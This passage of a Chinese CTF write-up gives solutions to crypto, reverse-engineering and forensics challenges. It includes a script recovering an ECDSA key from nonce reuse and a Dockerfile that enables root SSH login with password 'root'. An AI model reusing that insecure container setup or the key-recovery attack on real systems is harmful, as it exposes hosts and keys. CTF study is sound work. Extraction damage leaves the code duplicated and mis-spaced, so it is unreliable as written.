encrypted_bytes = binascii.unhexlify(encrypted)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]

cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
print(decrypted) 加密步骤如下:
第⼀层维吉尼亚加密,输入flag,密钥:WANGDINGCUP,过程: 对每个字母按照密钥进⾏ 移位加密,输出: 维吉尼亚密文
第⼆层:AES-CBC加密,输入:维吉尼亚密文
密钥: SHA256(ECDSA私钥dA),模式: CBC模式(带IV) ,过程: 对维吉尼亚密文进⾏填充和AES加密,输出: IV + AES密文,ECDSA签名(⽤于⽣ 成AES密钥) ,⽣成私钥dA,使⽤相同的k值对两个消息进⾏签名,输出签名参数: r1, s1, r2, s2, z1,z2,最终输出: AES加密后的⼗六进制字符串,ECDSA签名参数


然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''

for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag)
最后我们再将所有大写的字母转化为小写就是flag

或者脚本:
import binascii
from hashlib import sha256
fromCrypto.Cipherimport AES
fromCrypto.Util.number import long_to_bytes
fromCrypto.Util.Paddingimport unpad
import gmpy2

n =0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r1 =86806104739558095745988469033305523200538774705708894815836887970976487278764
r2 =86806104739558095745988469033305523200538774705708894815836887970976487278764
s1 =93400851884262731807098055393482657423555590196362184363643455285862566867372
s2 =58741027521216057788923508334695668250013849866589902683641825341545919891746
z1 =47591695289461307212638536234394543297527537576682980326526736956079807805586
z2 =97911075901954715147720917205165523174582665086645698292621371632896283314804
k =(z1 - z2)* gmpy2.invert(s1 - s2, n)% n
dA =(s1 * k - z1)* gmpy2.invert(r1, n)% n

encrypted_flag_hex =u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936'
encrypted_flag_bytes = binascii.unhexlify(encrypted_flag_hex)
iv = encrypted_flag_bytes[:AES.block_size]
encrypted_flag = encrypted_flag_bytes[AES.block_size:]

key = sha256(long_to_bytes(dA)).digest()
cipher = AES.new(key, AES.MODE_CBC, iv)

victory_encrypted_flag = unpad(cipher.decrypt(encrypted_flag), AES.block_size).decode('utf-8')

defvictory_decrypt(ciphertext, key):
key = key. upper()
key_length =len(key)
ciphertext = ciphertext. upper()
plaintext =''

for i, char inenumerate(ciphertext):
if char.isalpha():
shift =ord(key[i % key_length])-ord('A')
decrypted_char =chr((ord(char)-ord('A')- shift +26)%26+ord('A'))
plaintext += decrypted_char
else:
plaintext += char

return plaintext

victory_key ="WANGDINGCUP"
flag = victory_decrypt(victory_encrypted_flag, victory_key)

print(flag)
flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d}
REVERSE
REVERSE01
是⼀个apk文件⽤jadx打开



找到⼀个这个但没发现什么有⽤的信息 ,想着这⼀块提取出来看看 ,先⽤APKIDE打开看看


会发现主要在这⼀块 ,⽤ida打开这⾥


在这⾥发现⼏个so文件 ,⽽且在其中⼀个发现了类似于SM4算法与标准的有⼀点不⼀样,解密的话 找到密文与key



密文




之后直接解密即可 ,注意key的后半部分是反过来的


REVERSE02

用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分

第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556


第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9



第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465

第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15

wdflag{bf00e5560f45aac9c26f0465b985cb15}
MISC
签到
知识竞赛,答对8题即可

flag:
MISC01

首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息

我们过滤Diameter协议(https://www.cnblogs.com/stevensfollower/p/5556443.html)
也是简单看了几篇文章,对diameter也有了个简单的了解,再结合题目描述:某单位网络遭到非法的攻击,安全人员对流量调查取证之后保存了关键证据,发现人员的定位信息存在泄露,哎!捕捉关键词"定位信息"!那这里提示也是很明显了,就是让我们在流量包中找到可疑的定位信息呗!那我们这里直接过滤出了diameter协议来进行分析,发现也没多少条记录

发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思

我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了


802f208f26ae77是一个ECGI值,它通过唯一编码的形式实现对特定小区的全球定位与标识。
然后我们进行行32位md5哈希运算后即可得到flag

wdflag{d72937999d564f8d86f2f583569a47d3}

Misc02

题目附件给了一个未知后缀的flag文件,strings 查看一下发现是Ubuntu22.04的内存镜像

这里我先尝试了制作vol3的symbols,但是做完后发现也扫不出东西
如何制作vol3的符号文件可以参考我的这篇博客以及这个项目
我这里还是写了一个Dockerfile来制作符号文件
把 linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb 和 dwarf2json-linux-amd64 放 src 目录中即可
ddeb的下载链接:http://launchpadlibrarian.net/733303944/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb
FROM ubuntu:22.04

# 将环境设置为非交互环境
ENV DEBIAN_FRONTEND=noninteractive

COPY ./src/ /src/

RUN sed -i 's/archive.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& sed -i 's/security.ubuntu.com/mirrors.ustc.edu.cn/g' /etc/apt/sources.list \
&& apt update --no-install-recommends\
&& apt install -y openssh-server gcc-10 dwarfdump build-essential unzip kmod linux-base linux-image-6.5.0-41-generic\
&& mkdir /app \
&& sed -i 's/\#PermitRootLogin prohibit-password/PermitRootLogin yes/g' /etc/ssh/sshd_config \
&& sed -i 's/\#PasswordAuthentication yes/PasswordAuthentication yes/g' /etc/ssh/sshd_config \
&& echo 'root:root' | chpasswd \
&& systemctl enable ssh \
&& service ssh start

WORKDIR /src

# 这里的文件名需要根据系统版本进行修改
COPY ./src/linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb

RUN dpkg -i linux-image-unsigned-6.5.0-41-generic-dbgsym_6.5.0-41.41~22.04.2_amd64.ddeb \
&& chmod +x dwarf2json-linux-amd64 \
# 下面这里的文件名需要根据系统版本进行修改
&& ./dwarf2json-linux-amd64 linux --elf /usr/lib/debug/boot/vmlinux-6.5.0-41-generic > linux-image-6.5.0-41-generic.json


CMD ["/bin/bash"]符号文件在Docker中制作好后直接SSH连上容器下载到本地
然后放到 volatility3/volatility3/framework/symbols/linux/ 目录下即可
docker build --tag symbols . docker run -p 2022:22 -it symbols /bin/sh service ssh start

做完符号文件后发现也扫不出东西,因此这道题我这里就直接打算用010手动提取了
首先,我们先用strings看看用户桌面上有什么东西,当然这里也可以直接在010中搜字符串
strings flag | grep Desktop

我们确定了用户名以及桌面的路径,便于我们缩小范围,过滤掉无效的干扰数据
strings flag | grep /home/ccc/Desktop/

可以看到扫出来了很多非常关键的信息,桌面上有很多张PNG图片,然后还有同名的TXT文件
甚至还有内存镜像的vol3符号文件以及制作符号文件的工具(所以我猜测出题人是故意让我们没办法用vol3进行取证)
然后我们到010中搜索那几张图片的文件名

发现用了base64 xxx.png > xxx.txt这个命令,把图片数据以base64编码的格式保存到同名txt文件中
猜测另外几个文件也是同理,因此我们根据PNG的文件头base64编码后的值:iVBORw0KGgo
在010中可以定位到12个位置

依次查看,发现里面有好多个位置表示的都是同一张图片
手动提取出Hex数据,注意这里建议提取Hex数据,直接提取右边的字符串可能会有问题(可能有不可打印字符)
69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 49 41 41 41 44 54 45 44 38 78 41 41 41 43 76 55 6C 45 51 56 52 34 6E 4F 33 54 4D 51 45 41 49 41 7A 41 4D 4D 43 2F 35 79 46 6A 52 78 4D 46 66 58 70 6E 35 6B 44 56 32 77 36 41 54 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4A 6F 42 53 44 4D 41 61 51 59 67 7A 51 43 6B 47 59 41 30 41 35 42 6D 41 4E 49 4D 51 4E 6F 48 71 2B 67 45 2F 51 50 4E 4D 47 49 41 41 41 41 41 53 55 56 4F 52 4B 35 43 59 49 49 3D

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAIAAADTED8xAAACvUlEQVR4nO3TMQEAIAzAMMC/5yFjRxMFfXpn5kDV2w6ATQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQJoBSDMAaQYgzQCkGYA0A5BmANIMQNoHq+gE/QPNMGIAAAAASUVORK5CYII=
base64解码后可以得到下面这张空白图片,数据很短,也没什么用
然后我们在010中继续往下看,可以把与上面这个图片有重合部分的base64的数据都删掉方便查看
然后在下图这个位置发现了另一张图片,我尝试给它提取出来


69 56 42 4F 52 77 30 4B 47 67 6F 41 41 41 41 4E 53 55 68 45 55 67 41 41 41 51 41 41 41 41 45 41 43 41 59 41 41 41 42 63 63 71 68 6D 41 41 41 42 47 32 6C 55 57 48 52 59 54 55 77 36 59 32 39 74 4C 6D 46 6B 62 32 4A 6C 4C 6E 68 74 63 41 41 41 41 41 41 41 50 44 39 34 63 47 46 6A 61 32 56 30 49 47 4A 6C 5A 32 6C 75 50 53 4C 76 75 37 38 69 49 47 6C 6B 50 53 4A 58 4E 55 30 77 54 58 42 44 5A 57 68 70 53 48 70 79 5A 56 4E 36 54 6C 52 6A 65 6D 74 6A 4F 57 51 69 50 7A 34 4B 50 48 67 36 65 47 31 77 62 57 56 30 59 53 42 34 62 57 78 75 63 7A 70 34 50 53 4A 68 5A 47 39 69 5A 54 70 75 63 7A 70 74 5A 58 52 68 4C 79 49 67 65 44 70 34 62 58 42 30 61 7A 30 69 57 45 31 51 49 45 4E 76 63 6D 55 67 4E 69 34 77 4C 6A 41 69 50 67 6F 67 50 48 4A 6B 5A 6A 70 53 52 45 59 67 65 47 31 73 62 6E 4D 36 63 6D 52 6D 50 53 4A 6F 64 48 52 77 4F 69 38 76 64 33 64 33 4C 6E 63 7A 4C 6D 39 79 5A 79 38 78 4F 54 6B 35 4C 7A 41 79 4C 7A 49 79 4C 58 4A 6B 5A 69 31 7A 65 57 35 30 59 58 67 74 62 6E 4D 6A 49 6A 34 4B 49 43 41 38 63 6D 52 6D 4F 6B 52 6C 63 32 4E 79 61 58 42 30 61 57 39 75 49 48 4A 6B 5A 6A 70 68 59 6D 39 31 64 44 30 69 49 69 38 2B 43 69 41 38 4C 33 4A 6B 5A 6A 70 53 52 45 59 2B 43 6A 77 76 65 44 70 34 62 58 42 74 5A 58 52 68 50 67 6F 38 50 33 68 77 59 57 4E 72 5A 58 51 67 5A 57 35 6B 50 53 4A 79 49 6A 38 2B 6C 31 76 70 43 67 41 41 49 37 4A 4A 52 45 46 55 65 4A 7A 74 58 55 32 53 56 54 65 79 31 72 56 66 6D 48 67 52 4A 70 36 66 43 63 38 38 4B 67 2F 65 46 75 77 6C 65 41 31 73 6A 2B 6F 6C 77 42 4A 67 45 31 55 39 67 42 46 51 51 4C 67 59 41 42 33 30 65 51 4F 6A 61 6C 32 56 66 76 49 2F 55 2B 66 65 4C 36 4B 6A 38 61 31 7A 70 46 52 4B 79 70 50 4B 50 78 33 2B 76 66 31 37 4F 32 77 70 62 65 6D 51 55 6B 6F 70 48 56 4A 4B 32 37 61 6C 51 7A 6F 63 30 69 46 74 61 64 73 4F 32 2B 47 77 48 64 4B 57 30 6E 5A 49 32 37 64 66 44 79 6B 64 30 69 46 74 57 30 6F 70 62 53 6B 64 44 69 6C 74 4B 61 58 44 64 76 66 37 34 5A 43 6D 2F 33 2F 47 47 57 66 34 34 62 74 44 4F 71 52 30 4F 4B 54 44 33 2F 2B 58 44 69 6D 6C 66 2F 7A 7A 33 65 48 77 54 53 42 38 6B 77 50 35 71 62 38 33 37 64 2F 2F 2B 76 76 76 68 35 51 4F 33 35 34 2B 66 42 4D 4B 2B 66 65 55 55 76 72 48 50 32 2B 4F 2F 72 76 2B 2F 31 50 45 35 66 57 4E 4E 77 6C 6F 63 47 6A 32 47 75 2B 7A 56 78 39 63 2B 75 58 67 78 5A 75 50 64 2F 2B 32 34 4E 74 33 72 52 38 66 58 7A 77 69 4E 58 5A 39 2B 35 6E 64 6C 75 53 67 53 32 5A 53 2B 74 52 61 51 46 7A 2B 65 6D 79 6F 47 63 30 6A 6D 68 35 66 50 41 4C 50 68 53 54 2B 2F 50 55 6E 38 7A 34 68 79 4C 78 71 38 65 7A 33 58 33 35 4D 4B 63 48 57 58 75 75 5A 47 5A 2F 76 39 62 6C 4E 38 50 7A 31 37 65 77 52 4D 4A 35 63 76 52 56 72 61 32 55 61 4B 4B 44 51 76 63 70 59 5A 33 53 57 66 38 65 4F 4B 54 2B 2F 43 69 38 34 6F 50 42 6D 4B 67 41 77 65 50 72 79 76 57 52 7A 5A 68 67 78 54 6C 49 41 72 6F 49 65 50 35 35 63 76 54 58 64 53 43 4D 36 52 72 2F 56 66 2B 38 4A 67 57 68 7A 57 39 4A 48 32 55 75 55 75 53 45 4C 41 4D 6E 4E 50 70 76 51 31 58 44 31 31 79 66 55 38 39 67 46 33 66 75 4E 30 35 38 6E 50 4F 6D 4A 7A 67 75 4D 64 6B 54 42 59 64 76 2B 74 75 4E 37 34 66 4C 36 68 6E 77 6D 50 75 4F 4D 45 73 39 65 66 62 67

iVBORw0KGgoAAAANSUhEUgAAAQAAAAEACAYAAABccqhmAAABG2lUWHRYTUw6Y29tLmFkb2JlLnhtcAAAAAAAPD94cGFja2V0IGJlZ2luPSLvu78iIGlkPSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpuczptZXRhLyIgeDp4bXB0az0iWE1QIENvcmUgNi4wLjAiPgogPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICA8cmRmOkRlc2NyaXB0aW9uIHJkZjphYm91dD0iIi8+CiA8L3JkZjpSREY+CjwveDp4bXBtZXRhPgo8P3hwYWNrZXQgZW5kPSJyIj8+l1vpCgAAI7JJREFUeJztXU2SVTey1rVfmHgRJp6fCc88Kg/eFuwleA1sj+olwBJgE1U9gBFQQLgYAB30eQOjal2VfvI/U+feL6Kj8a1zpFRKypPKPx3+vf17O2wpbemQUkopHVJK27alQzoc0iFtadsO2+GwHdKW0nZI27dfDykd0iFtW0opbSkdDiltKaXDdvf74ZCm/3/GGWf44btDOqR0OKTD3/+XDimlf/zz3eHwTSB8kwP5qb837d//+vvvh5QO354+fBMK+feUUvrHP2+O/rv+/1PE5fWNNwlocGj2Gu+zVx9c+uXgxZuPd/+24Nt3rR8fXzwiNXZ9+5ndluSgS2ZS+tRaQFz+emyoGc0jmh5fPALPhST+/PUn8z4hyLxq8ez3X35MKcHWXuuZGZ/v9blN8Pz17ewRMJ5cvRVra2UaKKDQvcpYZ3SWf8eOKT+/Ci84oPBmKgAwePryvWRzZhgxTlIAroIeP55cvTXdSCM6Rr/Vf+8JgWhzW9JH2UuUuSELAMnNPpvQ1XD11yfU89gF3fuN058nPOmJzguMdkTBYdv+tuN74fL6hnwmPuOMEs9efbg

base64解码后很明显可以发现图片尾部是不完整的,但是从刚才第一张图片的尝试中
我们发现图片在内存中是分段存储的,因此我们可以尝试在010中搜索上面base64的尾部数据 tuN74fL6hnwmPuOMEs9efbg

尝试后发现是可以找到后面的数据的,因此我们以此类推,每次拼接后都搜索尾部的数据
最后将所有的Hex数据都提取出来并解码可以得到

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